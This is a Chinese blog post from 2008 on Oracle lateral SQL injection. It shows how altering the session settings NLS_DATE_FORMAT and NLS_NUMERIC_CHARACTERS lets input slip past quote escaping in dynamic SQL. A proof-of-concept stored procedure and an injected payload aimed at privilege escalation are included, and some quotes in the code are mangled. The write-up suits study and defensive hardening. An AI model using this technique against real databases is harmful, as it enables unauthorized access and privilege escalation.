ORACLE LATERAL-SQL-INJECTION 个人见解

更新时间:2008年05月07日 18:54:31   作者:

最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼 接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。

如果直接执行SQL语句或者参数绑定则不用担心太多,

如以下ORACLE存储过程

create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。

例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存储过程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,

老外的PAPER讲解得非常详细了 ,我在这里也不废话。

惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!

看以下语句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

输出一下结果

1000′10001

只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

内部对varchar类型进行替换了!我们可以进行测试

begin

numinjpoc(1000,”'–');

end;

其输出SQL语句为

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

单引号被转义掉了

那么如果我们结合这个NUMBER类型怎么进行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看输出结果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

这样就可以间接的攻击它…

在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。

相关文章

查看Oracle的执行计划一句话命令...2007-04-04

最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型ORA注入技术的PAPER,赶紧测试,主要是出现在SQL语句字符拼 接的时候,DATE类型转换为VARCHAR 以及 NUMBER转换为VARCHAR加入的格式字符出现问题。2008-05-05

介绍Oracle数据库中获取数据的存储过程示例 ,在表A取得的数据插入另一个表B中2008-09-09

字符串函数,数学函数,日期函数,逻辑运算函数,其他函数2008-09-09

oracle下加密存储过程的方法...2007-04-04

Oracle 下的开发日积月累...2007-04-04

DBA_2PC_PENDING 介绍...2007-04-04

Oracle 下医嘱执行函数...2007-04-04

Unable to construct a Datum from the specified input的解决方法2008-09-09

DB2和 Oracle的并发控制(锁)的比较...2007-04-04

最新评论

lateral函数oracle,ORACLE LATERAL-SQL-INJECTION 个人见解相关推荐

  1. Oracle Caused by: java.sql.SQLException: sql injection violation, syntax error: syntax error, expect

    参考:https://blog.csdn.net/qq_36326332/article/details/102938147 https://blog.csdn.net/fly_captain/art ...

  2. oracle 12c pl/sql语言,ORACLE 12C SQL语句中通过with 定义PL/SQL 函数

    在ORACLE 12C支持在sql语句中编写函数,用来实现sql语句操作需要使用函数的部分功能,该功能对于你不想在数据库中新建函数 or 你的库是read only模式下要使用新函数实现某种功能,可以 ...

  3. oracle数字加 39,Oracle数据库之SQL单行函数—数字函数-Oracle

    Oracle数据库之SQL单行函数-数字函数 1.三角函数 SIN  ASIN  SINH COS  ACOS  COSH TAN  ATAN  TANH 对于上述三角函数,见名知意.做一个间断的练习 ...

  4. Oracle之pl/sql编程(一)函数,过程,包

    pl/sql是什么? pl/sql是oracle在标准sql语言上的扩展.不仅允许嵌入sql语言,还可以定义常量和变量,允许使用条件语句和循环语句,允许使用例外处理各种错误. 作用:过程,函数,触发器 ...

  5. oracle的date_add,SQL Server 中add函数到 oracle date add的操作

    SQL Server 中add函数到 oracle date add的操作 oracle date add minutes How does one add a day/hour/minute/sec ...

  6. ArcGIS——数据库空间SQL(一、oracle中使用sql空间查询及st_astext等函数出错问题)

    一.引言 将shp文件导入oracle中就想着直接用sql进行普通查询和空间查询,这样直接通过webserver发布就可以不用arcgis server直接进行接口调用了,感觉这样比较接触底层些,所以 ...

  7. Oracle MySQL Hive sql进行相邻数据相减、相加等运算 lad lead 窗口函数 偏移函数

    工作中可能会对同一字段相邻两条数据进行运算,这时候就可以用到偏移函数(Oracle.Hive.MySQL8+通用) 这里用MySQL8+进行演示,准备MySQL数据: DROP TABLE IF EX ...

  8. Oracle使用PL/SQL自定义函数

    这里写目录标题 一.PL/SQL概述 二.变量和常量 2.1变量 2.2赋值方式 2.3常量 2.4常量和变量的区别 三,%type和%rowtype 3.1 %type 3.2 %rowtype 四 ...

  9. Oracle中有dateadd吗,SQL Server 中add函数到 oracle date add的操作

    SQL Server 中add函数到 oracle date add的操作 oracle date add minutes How does one add a day/hour/minute/sec ...

最新文章

  1. 机器人3D互动展品开发计划——飞拍视觉伺服
  2. http协议头信息详解
  3. 【Spring】12、Spring Security 四种使用方式
  4. 万能数据库查询分析器使用技巧之(十四)
  5. [转]Multiple outputs from T4 made easy
  6. 整理的一些实用工具网站
  7. tensorflow 的版本差异与变化
  8. python 调用 .netcore api_浅谈Python调用XBee的API来进行通讯
  9. Septentrio RAIM+接收机自主完好性监测实验
  10. php图片颤抖,如何实现图片抖动效果
  11. MyEclipse2017CI安装包及图解破解步骤
  12. java动态规划凑硬币问题_动态规划 凑硬币问题
  13. Hibernate 第一个程序的问题Unknown entity(新手必看)
  14. Python 计算思维训练——数组和曲线绘制练习(一)
  15. [读书笔记]用户画像:方法论与工程化解决方案
  16. clover UEFI+GUID最简单显核安装黑苹果教程(易懂)
  17. gitee代码管理仓库管理代码,更简单地查看各阶段的代码变动
  18. 云计算平台项目团队组织架构与缘起
  19. Spark——RDD操作详解
  20. 计算机毕业设计SSM电影票购票系统【附源码数据库】

热门文章

  1. 【linux】linux 查找 或者 搜索 文件 find
  2. 95-32-010-ChannelPipeline-ChannelPipeline简介
  3. 【Elasticsearch】es 面试题 积累
  4. 【Elasticsearch】检查您的 Elasticsearch 分片
  5. 20-10-026-安装-KyLin-2.6.0-单机版安装(MAC官网下载)-spark引擎
  6. Spark 2.2 Core :TimSort 的原理与源码分析
  7. 【Flink】Flink Table 基于Processing Time、Event Time的多种Window实现
  8. java中一个分而治之的框架ForkJoin
  9. 线程池很难么?带你从头到尾捋一遍,不信你听不懂!
  10. Map(String ArrayList(Student))相关操作和遍历和利用Map(k v)统计字母出现次数